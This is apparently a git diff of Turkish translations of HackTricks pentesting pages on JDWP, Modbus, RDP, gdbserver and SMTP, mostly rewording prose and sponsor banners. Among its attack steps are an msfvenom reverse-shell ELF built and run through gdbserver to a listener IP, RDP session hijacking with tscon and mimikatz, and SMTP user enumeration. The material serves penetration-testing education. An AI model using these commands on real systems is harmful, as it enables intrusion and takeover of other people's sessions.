- İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmalarının gerekliliğini vurgular.
@ -80,9 +80,9 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulut için bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, sömürülebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik sömürüleri kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, sömürülebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve otomatik sömürüleri kullanarak temel kanıtları toplamak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -96,7 +96,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -24,7 +24,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
# Temel Bilgiler
1979'da **Modbus Protokolü**, Modicon tarafından geliştirildi ve bir mesajlaşma yapısı olarak hizmet vermektedir. Temel kullanımı, akıllı cihazlar arasında iletişimi kolaylaştırmaktır ve bu, bir master-slave/client-server modeli altında çalışır. Bu protokol, cihazların verileri verimli bir şekilde değiştirmesini sağlamakta önemli bir rol oynamaktadır.
1979'da **Modbus Protokolü**, Modicon tarafından geliştirilmiş olup, bir mesajlaşma yapısı olarak hizmet vermektedir. Ana kullanımı, akıllı cihazlar arasında iletişimi kolaylaştırmaktır ve bu, bir master-slave/client-server modeli altında çalışır. Bu protokol, cihazların verileri verimli bir şekilde değiştirmesine olanak tanıyan kritik bir rol oynamaktadır.
**Varsayılan port:** 502
```
@ -45,9 +45,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -72,9 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -92,11 +92,11 @@ query user
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Artık seçilen RDP oturumunun içindesiniz ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit edeceksiniz.
Artık seçilen RDP oturumunun içinde olacaksınız ve yalnızca Windows araçları ve özelliklerini kullanarak bir kullanıcıyı taklit edeceksiniz.
**Önemli**: Aktif RDP oturumlarına eriştiğinizde, onu kullanan kullanıcıyı oturumdan çıkarırsınız.
**Önemli**: Aktif RDP oturumuna eriştiğinizde, onu kullanan kullanıcıyı oturumdan çıkaracaksınız.
Şifreleri süreçten dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanızı sağlar (notepad'deki şifreler diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...)
Şifreleri süreci dökerek alabilirsiniz, ancak bu yöntem çok daha hızlıdır ve kullanıcıların sanal masaüstleriyle etkileşimde bulunmanıza olanak tanır (şifreler not defterinde, diske kaydedilmeden, diğer makinelerde açık olan diğer RDP oturumları...)
#### **Mimikatz**
@ -107,13 +107,13 @@ ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
Bu tekniği **stickykeys** veya **utilman** ile birleştirerek, her zaman bir yönetici CMD ve herhangi bir RDP oturumuna erişim sağlayabilirsiniz.
Bu tekniği **stickykeys** veya **utilman** ile birleştirerek, her zaman bir yönetici CMD ve herhangi bir RDP oturumuna erişebileceksiniz.
Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri aramak için: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) kullanabilirsiniz.
### RDP Süreç Enjeksiyonu
Farklı bir alan adından veya **daha iyi ayrıcalıklara sahip biri RDP üzerinden** **senin Admin** olduğun PC'ye giriş yaparsa, onun **RDP oturum süreci** içine beacon'ını **enjekte** edebilir ve onun gibi davranabilirsin:
Farklı bir alan adından veya **daha iyi ayrıcalıklara sahip biri RDP ile** **senin Admin** olduğun PC'ye giriş yaparsa, **RDP oturum sürecine** beacon'ını **enjekte** edebilir ve onun gibi davranabilirsin:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -127,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**, esas olarak Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izinsiz olarak görüntülemesine** ve hatta işletim sisteminin kendisine ait araçları kullanarak talep üzerine kontrol etmesine olanak tanır.
**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izinsiz olarak görüntülemesine** ve hatta talep üzerine kontrol etmesine olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak yapılır.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Komut satırından otomatik bir şekilde fare ve klavye kontrolü
@ -157,7 +157,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,23 +17,23 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Temel Bilgiler**
**gdbserver**, programların uzaktan hata ayıklanmasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen bir yerde çalışır. Bu yapı, **GNU Debugger**'ın kaynak kodunun ve hata ayıklanan programın ikili kopyasının saklandığı "ana makine"den bağlanmasına olanak tanır. **gdbserver** ile hata ayıklayıcı arasındaki bağlantı, TCP veya seri hat üzerinden yapılabilir, bu da çok yönlü hata ayıklama kurulumlarına olanak tanır.
**gdbserver**, programların uzaktan hata ayıklanmasını sağlayan bir araçtır. Hata ayıklanması gereken programla aynı sistemde, "hedef" olarak bilinen bir ortamda çalışır. Bu yapı, **GNU Debugger**'ın kaynak kodunun ve hata ayıklanan programın ikili kopyasının saklandığı "ana makine"den bağlanmasına olanak tanır. **gdbserver** ile hata ayıklayıcı arasındaki bağlantı, TCP veya seri hat üzerinden yapılabilir, bu da çok yönlü hata ayıklama kurulumlarına olanak tanır.
**gdbserver'ı herhangi bir portta dinlemeye** ayarlayabilirsiniz ve şu anda **nmap hizmeti tanıyamıyor**.
**gdbserver'ı herhangi bir portta dinlemeye ayarlayabilirsiniz** ve şu anda **nmap hizmeti tanıyamıyor**.
## İstismar
### Yükle ve Çalıştır
Kolayca bir **elf backdoor oluşturabilir, msfvenom ile yükleyebilir ve çalıştırabilirsiniz:**
Kolayca bir **elf backdoor oluşturabilir, yükleyebilir ve çalıştırabilirsiniz**:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
@ -56,7 +56,7 @@ run
# You should get your reverse-shell
```
### Rastgele komutları çalıştır
### Rastgele komutları çalıştırma
Başka bir yol, **hata ayıklayıcıyı rastgele komutları çalıştırması için** [**buradan alınan python özel betiği**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target) kullanmaktır.
```bash
@ -200,7 +200,7 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
@ -215,7 +215,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,25 +1,25 @@
# 25,465,587 - Pentesting SMTP/s
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
**Basit Posta Aktarım Protokolü (SMTP)**, **e-posta gönderimi ve alımı** için TCP/IP paketinde kullanılan bir protokoldür. Alıcı tarafında mesajları kuyruklama konusundaki sınırlamaları nedeniyle, SMTP genellikle **POP3 veya IMAP** ile birlikte kullanılır. Bu ek protokoller, kullanıcıların mesajları bir sunucu posta kutusunda saklamasına ve bunları periyodik olarak indirmesine olanak tanır.
Pratikte, **e-posta programlarının** **e-postaları göndermek için SMTP'yi** kullanması, **e-postaları almak için ise POP3 veya IMAP'ı** kullanması yaygındır. Unix tabanlı sistemlerde, **sendmail** e-posta amaçları için en sık kullanılan SMTP sunucusu olarak öne çıkar. Sendmail olarak bilinen ticari paket, bir POP3 sunucusunu kapsamaktadır. Ayrıca, **Microsoft Exchange** bir SMTP sunucusu sağlar ve POP3 desteği ekleme seçeneği sunar.
Pratikte, **e-posta programlarının** **e-postaları göndermek için SMTP'yi** kullanması, **e-postaları almak için ise POP3 veya IMAP'ı** kullanması yaygındır. Unix tabanlı sistemlerde, **sendmail** e-posta amaçları için en sık kullanılan SMTP sunucusu olarak öne çıkar. Sendmail olarak bilinen ticari paket bir POP3 sunucusunu kapsamaktadır. Ayrıca, **Microsoft Exchange** bir SMTP sunucusu sağlar ve POP3 desteği ekleme seçeneği sunar.
**Varsayılan port:** 25,465(ssl),587(ssl)
```
@ -38,7 +38,7 @@ PORT STATE SERVICE REASON VERSION
Eğer **kurbanın size bir e-posta göndermesini sağlama** fırsatınız varsa (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü **kurbanın iç topolojisi hakkında bilgi edinebilirsiniz** e-postanın başlıklarını görerek.
Ayrıca, **mevcut olmayan bir adrese** e-posta göndermeye çalışarak bir SMTP sunucusundan e-posta alabilirsiniz (çünkü sunucu saldırgana bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.
Ayrıca, bir SMTP sunucusundan **var olmayan bir adrese e-posta göndermeye çalışarak** bir e-posta alabilirsiniz (çünkü sunucu saldırgana bir NDN e-postası gönderecektir). Ancak, e-postayı izin verilen bir adresten gönderdiğinizden emin olun (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.
Ayrıca, **farklı içerikler göndermeyi deneyin çünkü başlıklarda daha ilginç bilgiler bulabilirsiniz**: `X-Virus-Scanned: by av.domain.com`\
EICAR test dosyasını göndermelisiniz.\
@ -175,15 +175,15 @@ Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve otomatik istismarları kullanarak temel kanıtlar toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## DSN Raporları
**Teslimat Durumu Bildirim Raporları**: Bir **e-posta**'yı bir kuruluşa **geçersiz bir adrese** gönderdiğinizde, kuruluş geçersiz adres olduğunu size **bir e-posta geri göndererek** bildirecektir. **Geri dönen e-posta'nın başlıkları**, olası **hassas bilgileri** (raporlarla etkileşime giren e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi) **içerecektir**.
**Teslimat Durumu Bildirim Raporları**: Bir kuruluşa **geçersiz bir adrese** **e-posta** gönderdiğinizde, kuruluş, adresin geçersiz olduğunu size **bir e-posta geri göndererek** bildirecektir. Dönen e-postanın **başlıkları**, olası **hassas bilgileri** (raporlarla etkileşime giren e-posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgileri gibi) **içerebilir**.
## [Komutlar](smtp-commands.md)
@ -252,7 +252,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling
SMTP Smuggling açığı, tüm SMTP korumalarını atlamaya izin verdi (korumalar hakkında daha fazla bilgi için bir sonraki bölüme bakın). SMTP Smuggling hakkında daha fazla bilgi için:
SMTP Smuggling açığı, tüm SMTP korumalarını atlamaya izin veriyordu (korumalar hakkında daha fazla bilgi için bir sonraki bölüme bakın). SMTP Smuggling hakkında daha fazla bilgi için:
{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
@ -260,9 +260,9 @@ SMTP Smuggling açığı, tüm SMTP korumalarını atlamaya izin verdi (korumala
## Mail Spoofing Karşı Önlemleri
Kuruluşlar, SMTP mesajlarının kolayca sahte oluşturulması nedeniyle, **SPF**, **DKIM** ve **DMARC** kullanarak kendi adlarına yetkisiz e-posta gönderilmesini engeller.
Kuruluşlar, SMTP mesajlarının kolayca taklit edilebilmesi nedeniyle, **SPF**, **DKIM** ve **DMARC** kullanarak kendi adlarına yetkisiz e-posta gönderilmesini engeller.
**Bu karşı önlemler için tam bir rehber** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) adresinde mevcuttur.
**Bu karşı önlemler için kapsamlı bir rehber** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) adresinde mevcuttur.
### SPF
@ -279,18 +279,18 @@ Ayrıca, önceki spf kayıtlarını yeniden kullanmak için genellikle `"v=spf1
| Mekanizma | Açıklama |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Her zaman eşleşir; önceki mekanizmalarla eşleşmeyen tüm IP'ler için `-all` gibi varsayılan bir sonuç için kullanılır. |
| ALL | Her zaman eşleşir; önceki mekanizmalarla eşleşmeyen tüm IP'ler için `-all` gibi bir varsayılan sonuç için kullanılır. |
| A | Alan adı, gönderenin adresine çözülebilen bir adres kaydına (A veya AAAA) sahipse, eşleşir. |
| IP4 | Gönderen belirli bir IPv4 adres aralığındaysa, eşleşir. |
| IP6 | Gönderen belirli bir IPv6 adres aralığındaysa, eşleşir. |
| IP4 | Gönderen, belirli bir IPv4 adres aralığındaysa, eşleşir. |
| IP6 | Gönderen, belirli bir IPv6 adres aralığındaysa, eşleşir. |
| MX | Alan adı, gönderenin adresine çözülen bir MX kaydına sahipse, eşleşir (yani, e-posta alanın gelen e-posta sunucularından birinden gelir). |
| PTR | Müşterinin adresi için alan adı (PTR kaydı) belirtilen alanda ise ve bu alan adı müşterinin adresine çözülüyorsa (ileri onaylı ters DNS), eşleşir. Bu mekanizma önerilmez ve mümkünse kaçınılmalıdır. |
| EXISTS | Belirtilen alan adı herhangi bir adrese çözülüyorsa, eşleşir (çözülen adres ne olursa olsun). Bu nadiren kullanılır. SPF makro dili ile birlikte, DNSBL sorguları gibi daha karmaşık eşleşmeler sunar. |
| INCLUDE | Başka bir alanın politikasına atıfta bulunur. O alanın politikası geçerse, bu mekanizma geçer. Ancak, dahil edilen politika başarısız olursa, işleme devam edilir. Başka bir alanın politikasına tamamen devretmek için yönlendirme uzantısı kullanılmalıdır. |
| INCLUDE | Başka bir alanın politikasına atıfta bulunur. O alanın politikası geçerse, bu mekanizma geçer. Ancak, dahil edilen politika başarısız olursa, işleme devam edilir. Başka bir alanın politikasına tamamen devretmek için, yönlendirme uzantısı kullanılmalıdır. |
| REDIRECT | <p>Yönlendirme, bir SPF politikasını barındıran başka bir alan adına işaret eden bir işarettir, bu da birden fazla alanın aynı SPF politikasını paylaşmasına olanak tanır. Aynı e-posta altyapısını paylaşan çok sayıda alanla çalışırken faydalıdır.</p><p>Yönlendirme Mekanizmasında belirtilen alanın SPF politikası kullanılacaktır.</p> |
Ayrıca, **bir mekanizma eşleşirse ne yapılması gerektiğini** belirten **Nitelikler** tanımlamak da mümkündür. Varsayılan olarak, **nitelik "+"** kullanılır (yani, herhangi bir mekanizma eşleşirse, bu izin verildiği anlamına gelir).\
Genellikle, **her SPF politikasının sonunda** **\~all** veya **-all** gibi bir şey göreceksiniz. Bu, **eğer gönderen herhangi bir SPF politikasına uymuyorsa, e-postayı güvensiz olarak işaretlemeniz (\~) veya e-postayı reddetmeniz (-) gerektiğini** belirtmek için kullanılır.
Genellikle, **her SPF politikasının sonunda** **\~all** veya **-all** gibi bir şey not edersiniz. Bu, **gönderen herhangi bir SPF politikasına uymuyorsa, e-postayı güvensiz olarak işaretlemeniz (\~) veya e-postayı reddetmeniz (-) gerektiğini** belirtmek için kullanılır.
#### Nitelikler
@ -298,10 +298,10 @@ Politikadaki her mekanizma, istenen sonucu tanımlamak için dört nitelikten bi
* **`+`**: PASS sonucuna karşılık gelir. Varsayılan olarak, mekanizmalar bu niteliği varsayar, bu da `+mx`'in `mx` ile eşdeğer olduğu anlamına gelir.
* **`?`**: NEUTRAL sonucunu temsil eder, NONE (belirli bir politika yok) ile benzer şekilde işlenir.
